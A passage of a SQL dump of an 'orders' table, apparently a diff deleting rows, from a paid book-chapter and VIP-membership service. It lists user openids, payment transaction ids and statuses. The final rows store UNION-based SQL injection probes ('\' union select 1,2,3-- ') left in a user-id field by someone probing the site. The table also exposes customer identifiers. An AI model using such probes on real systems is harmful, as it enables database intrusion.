17:36:24.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223203141694253', 'MP20260223203141694253', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 20:31:41.000', '2026-02-23 20:31:41.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223210758497017', 'MP20260223210758497017', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.17', 1.00, '章节9.17-9.17', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 21:07:58.000', '2026-02-23 21:07:58.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223210827544027', 'MP20260223210827544027', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 21:08:27.000', '2026-02-23 21:08:27.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223213256988115', 'MP20260223213256988115', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 21:32:56.000', '2026-02-23 21:32:56.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223213822198395', 'MP20260223213822198395', 'ogpTW5SPIL2A7Z6VKtONJFEBcjq4', 'ogpTW5SPIL2A7Z6VKtONJFEBcjq4', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, NULL, NULL, '2026-02-23 21:38:22.000', '2026-02-23 21:38:22.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224055023631014', 'MP20260224055023631014', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-24 05:50:23.000', '2026-02-24 05:50:23.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224064002894269', 'MP20260224064002894269', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-24 06:40:02.000', '2026-02-24 06:40:02.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224085406033335', 'MP20260224085406033335', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'section', '9.17', 1.00, '章节9.17-9.17', 'paid', '4200003005202602243707539743', '2026-02-24 08:54:14.000', NULL, NULL, '2026-02-24 08:54:06.000', '2026-02-24 08:54:14.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224085409983621', 'MP20260224085409983621', 'ogpTW5fEgNmFSsCS_BfRPwFL52do', 'ogpTW5fEgNmFSsCS_BfRPwFL52do', 'section', '11.1', 1.00, '章节11.1-11.1', 'paid', '4200003004202602248834745963', '2026-02-24 08:54:15.000', NULL, NULL, '2026-02-24 08:54:09.000', '2026-02-24 08:54:15.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224085546539175', 'MP20260224085546539175', 'ogpTW5Wsm8-vMf8tO4-sIrE11DWo', 'ogpTW5Wsm8-vMf8tO4-sIrE11DWo', 'section', '11.1', 1.00, '章节11.1-11.1', 'paid', '4200003092202602244354669569', '2026-02-24 08:55:54.000', NULL, NULL, '2026-02-24 08:55:46.000', '2026-02-24 08:55:54.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224090604363694', 'MP20260224090604363694', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'section', '10.2', 1.00, '章节10.2-10.2', 'created', NULL, NULL, NULL, NULL, '2026-02-24 09:06:04.000', '2026-02-24 09:06:04.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224094117664552', 'MP20260224094117664552', 'ogpTW5Qabn7rh0bRZZYbr4_pVwQA', 'ogpTW5Qabn7rh0bRZZYbr4_pVwQA', 'section', '11.1', 1.00, '章节11.1-11.1', 'paid', '4200003084202602241178779861', '2026-02-24 09:41:25.000', NULL, NULL, '2026-02-24 09:41:17.000', '2026-02-24 09:41:25.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224112017577220', 'MP20260224112017577220', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, NULL, NULL, '2026-02-24 11:20:17.000', '2026-02-24 11:20:17.000', NULL); -INSERT INTO `orders` VALUES ('MP20260224113712237327', 'MP20260224113712237327', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '2.4', 1.00, '章节2.4-游戏上瘾的年轻人:不是游戏吸引他,是生活...', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-24 03:37:12.000', '2026-02-24 03:37:12.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225082209843996', 'MP20260225082209843996', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'section', '1.2', 1.00, '章节1.2-1.2', 'created', NULL, NULL, 'SOULOV_JY4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', '2026-02-25 08:22:09.000', '2026-02-25 08:22:09.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225082328554082', 'MP20260225082328554082', 'ogpTW5US8-TZAVgY9IWeyS2LPGd0', 'ogpTW5US8-TZAVgY9IWeyS2LPGd0', 'section', '1.2', 1.00, '章节1.2-1.2', 'paid', '4200003065202602250728695238', '2026-02-25 08:23:39.000', 'SOULOV_JY4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', '2026-02-25 08:23:28.000', '2026-02-25 08:23:39.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225101814928857', 'MP20260225101814928857', 'ogpTW5XNtYeFmBJrfoi8XZMkzty0', 'ogpTW5XNtYeFmBJrfoi8XZMkzty0', 'section', '2.1', 1.00, '章节2.1-2.1', 'paid', '4200003009202602252169106075', '2026-02-25 10:18:20.000', 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-25 10:18:14.000', '2026-02-25 10:18:20.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225110530247286', 'MP20260225110530247286', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '2.3', 1.00, '章节2.3-2.3', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-25 11:05:30.000', '2026-02-25 11:05:30.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225152053148700', 'MP20260225152053148700', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '2.4', 1.00, '章节2.4-2.4', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-25 07:20:53.000', '2026-02-25 07:20:53.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162613193905', 'MP20260225162613193905', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '2.1', 1.00, '章节2.1-2.1', 'created', NULL, NULL, NULL, NULL, '2026-02-25 16:26:13.000', '2026-02-25 16:26:13.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162626917499', 'MP20260225162626917499', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '1.2', 1.00, '章节1.2-1.2', 'created', NULL, NULL, NULL, NULL, '2026-02-25 16:26:26.000', '2026-02-25 16:26:26.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162640421884', 'MP20260225162640421884', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '9.4', 1.00, '章节9.4-9.4', 'created', NULL, NULL, NULL, NULL, '2026-02-25 16:26:40.000', '2026-02-25 16:26:40.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225162906641000', 'MP20260225162906641000', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'fullbook', 'fullbook', 9.90, '《一场Soul的创业实验》全书', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-25 08:29:06.000', '2026-02-25 08:29:06.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225193402199257', 'MP20260225193402199257', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-25 19:34:02.000', '2026-02-25 19:34:02.000', NULL); -INSERT INTO `orders` VALUES ('MP20260225201530937551', 'MP20260225201530937551', 'ogpTW5RBd3Xumob-hHDXLhAbIpHM', 'ogpTW5RBd3Xumob-hHDXLhAbIpHM', 'section', '1.2', 1.00, '章节1.2-1.2', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-25 20:15:30.000', '2026-02-25 20:15:30.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227100909694084', 'MP20260227100909694084', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '4.6', 1.00, '章节4.6-4.6', 'paid', '4200003074202602274671265961', '2026-02-27 10:09:15.000', 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 10:09:09.000', '2026-02-27 10:09:15.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227143911959773', 'MP20260227143911959773', 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-02-27 06:39:11.000', '2026-02-27 06:39:11.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227170727960355', 'MP20260227170727960355', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 17:07:27.000', '2026-02-27 17:07:27.000', NULL); -INSERT INTO `orders` VALUES ('MP20260227173935199671', 'MP20260227173935199671', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-02-27 09:39:36.000', '2026-02-27 09:39:36.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228065109625987', 'MP20260228065109625987', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'section', '4.6', 1.00, '章节4.6-4.6', 'paid', '4200003064202602285197363765', '2026-02-28 01:38:59.000', 'SOULMKQWXE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 22:51:10.000', '2026-02-28 01:38:59.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228065503318182', 'MP20260228065503318182', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'section', '4.6', 1.00, '章节4.6-4.6', 'created', NULL, NULL, 'SOULMKQWXE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-27 22:55:04.000', '2026-02-27 22:55:04.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228072132130586', 'MP20260228072132130586', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '9.23', 1.00, '章节9.23-9.23', 'refunded', '4200003006202602286951890024', '2026-02-28 01:39:00.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-27 23:21:33.000', '2026-02-28 01:44:35.275', '测试退款'); -INSERT INTO `orders` VALUES ('MP20260228072231726213', 'MP20260228072231726213', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '4.6', 1.00, '章节4.6-4.6', 'refunded', '4200003061202602285876777602', '2026-02-28 01:39:00.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-27 23:22:32.000', '2026-02-28 01:44:23.780', '测试退款'); -INSERT INTO `orders` VALUES ('MP20260228075630965884', 'MP20260228075630965884', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '4.6', 1.00, '章节4.6-4.6', 'refunded', '4200003068202602281446845844', '2026-02-28 01:39:00.000', '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-02-27 23:56:31.000', '2026-02-28 01:43:43.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228090136882787', 'MP20260228090136882787', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '202', 1.00, '章节202-202', 'refunded', '4200003076202602281975437990', '2026-02-28 01:39:00.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 01:01:36.000', '2026-02-28 01:43:02.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228090234104022', 'MP20260228090234104022', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '202', 1.00, '章节202-202', 'refunded', '4200003061202602283799610449', '2026-02-28 01:39:01.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 01:02:34.000', '2026-02-28 01:39:37.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228092745929639', 'MP20260228092745929639', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '1.3', 1.00, '章节1.3-1.3', 'paid', '4200003058202602287320038386', '2026-02-28 01:27:55.000', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 01:27:46.000', '2026-02-28 01:27:55.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228101511242449', 'MP20260228101511242449', 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-02-28 02:15:11.231', '2026-02-28 02:15:11.231', NULL); -INSERT INTO `orders` VALUES ('MP20260228103007275926', 'MP20260228103007275926', 'ogpTW5Rfjxo1IrotPpEKSA2iFcOs', 'ogpTW5Rfjxo1IrotPpEKSA2iFcOs', 'section', '1.3', 1.00, '章节1.3-1.3', 'created', NULL, NULL, 'SOULMKQWXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', '2026-02-28 10:30:07.000', '2026-02-28 10:30:07.000', NULL); -INSERT INTO `orders` VALUES ('MP20260228143612969184', 'MP20260228143612969184', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '11.5', 1.00, '章节11.5-11.5', 'paid', '4200003061202602285856253324', '2026-02-28 12:01:06.586', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 06:36:12.187', '2026-02-28 12:01:06.588', '测试'); -INSERT INTO `orders` VALUES ('MP20260228160900147350', 'MP20260228160900147350', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '11.3', 1.00, '章节11.3-11.3', 'refunded', '4200003071202602286850643178', '2026-02-28 08:09:05.195', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-28 08:09:00.884', '2026-02-28 08:12:27.988', '测试'); -INSERT INTO `orders` VALUES ('MP20260228161018393581', 'MP20260228161018393581', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '11.3', 1.00, '章节11.3-11.3', 'paid', '4200003011202602289093893299', '2026-02-28 12:01:06.771', '', NULL, '2026-02-28 08:10:18.547', '2026-02-28 12:01:06.774', '测试'); -INSERT INTO `orders` VALUES ('MP20260228214157960665', 'MP20260228214157960665', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-02-28 13:41:57.090', '2026-02-28 13:41:57.090', NULL); -INSERT INTO `orders` VALUES ('MP20260302091911306301', 'MP20260302091911306301', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'section', '9.24', 1.00, '章节9.24-9.24', 'created', NULL, NULL, '', NULL, '2026-03-02 01:19:11.260', '2026-03-02 01:19:11.260', NULL); -INSERT INTO `orders` VALUES ('MP20260302112519056057', 'MP20260302112519056057', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-03-02 03:25:19.646', '2026-03-02 03:25:19.646', NULL); -INSERT INTO `orders` VALUES ('MP20260302114305786839', 'MP20260302114305786839', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.24', 1.00, '章节9.24-9.24', 'paid', '4200003096202603028239237009', '2026-03-02 03:43:11.995', '', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-02 03:43:05.517', '2026-03-02 03:43:11.998', NULL); -INSERT INTO `orders` VALUES ('MP20260303103600115354', 'MP20260303103600115354', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-03 02:36:00.404', '2026-03-03 02:36:00.404', NULL); -INSERT INTO `orders` VALUES ('MP20260303103601182177', 'MP20260303103601182177', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-03 02:36:01.217', '2026-03-03 02:36:01.217', NULL); -INSERT INTO `orders` VALUES ('MP20260303110833762929', 'MP20260303110833762929', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '4.5', 1.00, '章节4.5-4.5', 'paid', '4200003069202603032506818111', '2026-03-03 12:04:11.491', '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-03-03 03:08:33.882', '2026-03-03 12:04:11.494', '测试'); -INSERT INTO `orders` VALUES ('MP20260304154055740942', 'MP20260304154055740942', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-04 07:40:55.078', '2026-03-04 07:40:55.078', NULL); -INSERT INTO `orders` VALUES ('MP20260305122618011316', 'MP20260305122618011316', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:18.939', '2026-03-05 04:26:18.939', NULL); -INSERT INTO `orders` VALUES ('MP20260305122645323619', 'MP20260305122645323619', 'ogpTW5eIOA-Tc94PEBqn2DbLs8X0', 'ogpTW5eIOA-Tc94PEBqn2DbLs8X0', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:45.218', '2026-03-05 04:26:45.218', NULL); -INSERT INTO `orders` VALUES ('MP20260305122645425569', 'MP20260305122645425569', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:45.218', '2026-03-05 04:26:45.218', NULL); -INSERT INTO `orders` VALUES ('MP20260305122648193530', 'MP20260305122648193530', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:48.974', '2026-03-05 04:26:48.974', NULL); -INSERT INTO `orders` VALUES ('MP20260305122650224568', 'MP20260305122650224568', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:50.168', '2026-03-05 04:26:50.168', NULL); -INSERT INTO `orders` VALUES ('MP20260305122901330248', 'MP20260305122901330248', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:01.278', '2026-03-05 04:29:01.278', NULL); -INSERT INTO `orders` VALUES ('MP20260305122904720977', 'MP20260305122904720977', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:04.015', '2026-03-05 04:29:04.015', NULL); -INSERT INTO `orders` VALUES ('MP20260305122905820527', 'MP20260305122905820527', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:05.345', '2026-03-05 04:29:05.345', NULL); -INSERT INTO `orders` VALUES ('MP20260305122906977734', 'MP20260305122906977734', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:06.619', '2026-03-05 04:29:06.619', NULL); -INSERT INTO `orders` VALUES ('MP20260305122907834387', 'MP20260305122907834387', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:07.935', '2026-03-05 04:29:07.935', NULL); -INSERT INTO `orders` VALUES ('MP20260305122909340729', 'MP20260305122909340729', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:09.240', '2026-03-05 04:29:09.240', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915016377', 'MP20260305122915016377', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.552', '2026-03-05 04:29:15.552', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915238098', 'MP20260305122915238098', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.607', '2026-03-05 04:29:15.607', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915241388', 'MP20260305122915241388', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.446', '2026-03-05 04:29:15.446', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915559376', 'MP20260305122915559376', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.286', '2026-03-05 04:29:15.286', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915577542', 'MP20260305122915577542', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.658', '2026-03-05 04:29:15.658', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915589197', 'MP20260305122915589197', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.343', '2026-03-05 04:29:15.343', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915656760', 'MP20260305122915656760', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.230', '2026-03-05 04:29:15.230', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915685776', 'MP20260305122915685776', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.499', '2026-03-05 04:29:15.499', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915689368', 'MP20260305122915689368', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.199', '2026-03-05 04:29:15.199', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915697397', 'MP20260305122915697397', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.396', '2026-03-05 04:29:15.396', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939165324', 'MP20260305122939165324', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1-- ', 'vip', 'vip_annual', 1980.00, 